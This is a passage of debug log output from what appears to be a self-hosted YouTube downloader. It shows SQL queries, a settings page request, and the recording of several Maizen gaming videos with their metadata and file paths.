m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:35:56.446 [debug] QUERY OK source="media_items" db=0.1ms idle=3.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [472253] 19:35:56.446 [debug] Current batch of media processed. Will check again in 1000ms 19:35:57.447 [debug] Current batch of media processed. Will check again in 1000ms 19:35:58.227 [info] GET /settings 19:35:58.228 [debug] Processing with PinchflatWeb.Settings.SettingController.show/2 Parameters: %{} Pipelines: [:browser] 19:35:58.228 [debug] QUERY OK source="settings" db=0.2ms idle=805.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:35:58.228 [debug] QUERY OK source="settings" db=0.1ms idle=446.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:35:58.229 [debug] QUERY OK source="settings" db=0.1ms idle=446.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:35:58.229 [debug] QUERY OK source="settings" db=0.1ms idle=446.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:35:58.230 [info] Sent 200 in 2ms 19:35:58.448 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, we're playing Build Your Base! 150 waves of powerful enemies will be coming to destroy our heart block, and it's up to us to build the most powerful security systems to keep them away! On the very last wave, a massive dragon awaits! Will we be able to take down the dragon and protect our heart blocks?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 1360, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e081500 - BUILDING The SAFEST BASE to Survive in Roblox.mp4", "id" => "TEmV_KQkWXY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=TEmV_KQkWXY", "playlist_index" => 3, "timestamp" => 1786797076, "title" => "BUILDING The SAFEST BASE to Survive in Roblox", "upload_date" => "20260815"} 19:35:58.449 [debug] QUERY OK source="sources" db=0.2ms idle=220.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 19:35:58.449 [debug] QUERY OK source="sources" db=0.2ms idle=220.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:35:58.451 [debug] QUERY OK source="media_items" db=1.3ms idle=220.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-08-15 12:31:16Z], 2] 19:35:58.452 [debug] QUERY OK source="media_items" db=0.7ms idle=221.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing Build Your Base! 150 waves of powerful enemies will be coming to destroy our heart block, and it's up to us to build the most powerful security systems to keep them away! On the very last wave, a massive dragon awaits! Will we be able to take down the dragon and protect our heart blocks?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "BUILDING The SAFEST BASE to Survive in Roblox", "6863c98d-da48-4637-9872-76a976c61958", "TEmV_KQkWXY", 1360, false, "https://www.youtube.com/watch?v=TEmV_KQkWXY", 3, "/downloads/shows/Maizen/Season 2026/s2026e081500 - BUILDING The SAFEST BASE to Survive in Roblox.mp4", false, false, false, 2, [], 98, ~U[2026-08-15 12:31:16Z], ~U[2026-08-20 02:35:58Z], ~U[2026-08-20 02:35:58Z], "Today, we're playing Build Your Base! 150 waves of powerful enemies will be coming to destroy our heart block, and it's up to us to build the most powerful security systems to keep them away! On the very last wave, a massive dragon awaits! Will we be able to take down the dragon and protect our heart blocks?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "BUILDING The SAFEST BASE to Survive in Roblox", "TEmV_KQkWXY", 1360, false, "https://www.youtube.com/watch?v=TEmV_KQkWXY", "/downloads/shows/Maizen/Season 2026/s2026e081500 - BUILDING The SAFEST BASE to Survive in Roblox.mp4", false, 2, ~U[2026-08-15 12:31:16Z]] 19:35:58.452 [debug] QUERY OK source="sources" db=0.1ms idle=28.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:35:58.452 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:35:58.453 [debug] QUERY OK source="media_items" db=0.2ms idle=3.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [469491] 19:35:58.453 [debug] Current batch of media processed. Will check again in 1000ms 19:35:59.454 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Hi everybody.\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 4713, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e072300 - JJ vs. Mikey.mp4", "id" => "DmxYE_YOLQ8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=DmxYE_YOLQ8", "playlist_index" => 4, "timestamp" => 1784777301, "title" => "JJ vs. Mikey", "upload_date" => "20260723"} 19:35:59.455 [debug] QUERY OK source="sources" db=0.2ms idle=1002.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 19:35:59.455 [debug] QUERY OK source="sources" db=0.1ms idle=1002.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:35:59.457 [debug] QUERY OK source="media_items" db=1.2ms idle=1002.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-23 03:28:21Z], 2] 19:35:59.458 [debug] QUERY OK source="media_items" db=0.5ms idle=1004.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Hi everybody.\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "JJ vs. Mikey", "572cd21d-600b-4ce5-af7c-d4d07e3f149a", "DmxYE_YOLQ8", 4713, false, "https://www.youtube.com/watch?v=DmxYE_YOLQ8", 4, "/downloads/shows/Maizen/Season 2026/s2026e072300 - JJ vs. Mikey.mp4", false, false, false, 2, [], 98, ~U[2026-07-23 03:28:21Z], ~U[2026-08-20 02:35:59Z], ~U[2026-08-20 02:35:59Z], "Hi everybody.\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "JJ vs. Mikey", "DmxYE_YOLQ8", 4713, false, "https://www.youtube.com/watch?v=DmxYE_YOLQ8", "/downloads/shows/Maizen/Season 2026/s2026e072300 - JJ vs. Mikey.mp4", false, 2, ~U[2026-07-23 03:28:21Z]] 19:35:59.458 [debug] QUERY OK source="sources" db=0.1ms idle=32.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:35:59.458 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:35:59.459 [debug] QUERY OK source="media_items" db=0.2ms idle=3.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [366904] 19:35:59.459 [debug] Current batch of media processed. Will check again in 1000ms 19:36:00.193 [info] {"source":"oban","duration":203,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:36:00.460 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Hi everybody.\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 3658, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e071000 - PRISON ESCAPE in Minecraft.mp4", "id" => "jXiB2M0bZX8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=jXiB2M0bZX8", "playlist_index" => 5, "timestamp" => 1783668694, "title" => "PRISON ESCAPE in Minecraft", "upload_date" => "20260710"} 19:36:00.461 [debug] QUERY OK source="sources" db=0.1ms idle=1002.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 19:36:00.461 [debug] QUERY OK source="sources" db=0.1ms idle=1002.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:36:00.462 [debug] QUERY OK source="media_items" db=1.3ms idle=1002.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-10 07:31:34Z], 2] 19:36:00.464 [debug] QUERY OK source="media_items" db=0.7ms idle=269.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Hi everybody.\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "PRISON ESCAPE in Minecraft", "f2812172-03c2-4b27-bf33-03cc031acf42", "jXiB2M0bZX8", 3658, false, "https://www.youtube.com/watch?v=jXiB2M0bZX8", 5, "/downloads/shows/Maizen/Season 2026/s2026e071000 - PRISON ESCAPE in Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-07-10 07:31:34Z], ~U[2026-08-20 02:36:00Z], ~U[2026-08-20 02:36:00Z], "Hi everybody.\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "PRISON ESCAPE in Minecraft", "jXiB2M0bZX8", 3658, false, "https://www.youtube.com/watch?v=jXiB2M0bZX8", "/downloads/shows/Maizen/Season 2026/s2026e071000 - PRISON ESCAPE in Minecraft.mp4", false, 2, ~U[2026-07-10 07:31:34Z]] 19:36:00.464 [debug] QUERY OK source="sources" db=0.1ms idle=37.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:36:00.464 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:36:00.465 [debug] QUERY OK source="media_items" db=0.2ms idle=3.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [310552] 19:36:00.465 [debug] Current batch of media processed. Will check again in 1000ms 19:36:01.466 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, JJ and Mikey are on a mission to restore the Pro Doctor program! It won't be easy, they'll both have to face many dangerous threats standing in their way, but together they'll do whatever it takes!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 4704, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e062700 - JJ IS DEAD : The Movie.mp4", "id" => "2nxBCespd7c", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=2nxBCespd7c", "playlist_index" => 6, "timestamp" => 1782529206, "title" => "JJ IS DEAD : The Movie", "upload_date" => "20260627"} 19:36:01.467 [debug] QUERY OK source="sources" db=0.2ms idle=1002.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 19:36:01.467 [debug] QUERY OK source="sources" db=0.2ms idle=1002.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:36:01.469 [debug] QUERY OK source="media_items" db=1.2ms idle=1003.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-27 03:00:06Z], 2] 19:36:01.470 [debug] QUERY OK source="media_items" db=0.6ms idle=1004.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, JJ and Mikey are on a mission to restore the Pro Doctor program! It won't be easy, they'll both have to face many dangerous threats standing in their way, but together they'll do whatever it takes!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "JJ IS DEAD : The Movie", "758ed237-ddbd-489d-865c-dba1a475739f", "2nxBCespd7c", 4704, false, "https://www.youtube.com/watch?v=2nxBCespd7c", 6, "/downloads/shows/Maizen/Season 2026/s2026e062700 - JJ IS DEAD : The Movie.mp4", false, false, false, 2, [], 98, ~U[2026-06-27 03:00:06Z], ~U[2026-08-20 02:36:01Z], ~U[2026-08-20 02:36:01Z], "Today, JJ and Mikey are on a mission to restore the Pro Doctor program! It won't be easy, they'll both have to face many dangerous threats standing in their way, but together they'll do whatever it takes!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "JJ IS DEAD : The Movie", "2nxBCespd7c", 4704, false, "https://www.youtube.com/watch?v=2nxBCespd7c", "/downloads/shows/Maizen/Season 2026/s2026e062700 - JJ IS DEAD : The Movie.mp4", false, 2, ~U[2026-06-27 03:00:06Z]] 19:36:01.470 [debug] QUERY OK source="sources" db=0.2ms idle=42.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:36:01.470 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:36:01.471 [debug] QUERY OK source="media_items" db=0.2ms idle=3.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND 